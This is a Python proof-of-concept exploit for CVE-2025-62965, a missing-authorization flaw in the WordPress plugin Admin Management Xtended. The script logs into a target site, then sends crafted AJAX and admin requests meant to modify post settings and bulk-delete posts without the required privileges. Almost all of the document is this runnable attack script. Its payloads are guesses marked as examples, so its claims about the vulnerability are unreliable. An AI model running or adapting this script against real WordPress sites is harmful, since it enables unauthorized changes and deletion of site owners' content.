CVE-2025-62965

# CVE-2025-62965 PoC - WordPress Admin Management Xtended Access Control Bypass # Affected: Admin Management Xtended <= 2.5.1 # Type: Missing Authorization import requests import sys from urllib.parse import urljoin def exploit_cve_2025_62965(target_url, username, password): """ Exploit for Missing Authorization vulnerability in Admin Management Xtended plugin This PoC demonstrates how to exploit incorrectly configured access control """ session = requests.Session() # Step 1: Login to WordPress login_url = urljoin(target_url, 'wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f"[*] Attempting to login as {username}...") response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Identify vulnerable endpoints # The plugin registers AJAX handlers and admin actions without proper capability checks vulnerable_endpoints = [ '/wp-admin/admin-ajax.php', '/wp-admin/admin.php?page=admin-management-xtended' ] # Step 3: Exploit the access control vulnerability # Try to access admin functions that should require higher privileges exploit_payloads = [ # Example: Modify post settings without proper authorization check { 'action': 'admin_management_xtended_update', 'post_id': '1', 'settings': 'malicious_settings' }, # Example: Bulk admin actions { 'action': 'admin_management_xtended_bulk_action', 'bulk_action': 'delete', 'post_ids': '1,2,3' } ] print("[*] Testing vulnerable endpoints for access control bypass...") for endpoint in vulnerable_endpoints: url = urljoin(target_url, endpoint) for payload in exploit_payloads: if 'admin-ajax.php' in endpoint: response = session.post(url, data=payload) else: response = session.get(url, params=payload) # Check if the request was successful (indicating missing auth check) if response.status_code == 200: print(f"[!] Potential vulnerability at {endpoint}") print(f" Payload: {payload}") print(f" Response length: {len(response.text)}") print("[*] Exploitation attempt completed") print("[*] Note: This is a PoC demonstrating the access control issue") print("[*] Actual exploitation depends on specific plugin configuration") return True if __name__ == '__main__': if len(sys.argv) < 4: print("Usage: python cve_2025_62965_poc.py <target_url> <username> <password>") print("Example: python cve_2025_62965_poc.py http://example.com admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_62965(target, user, pwd)

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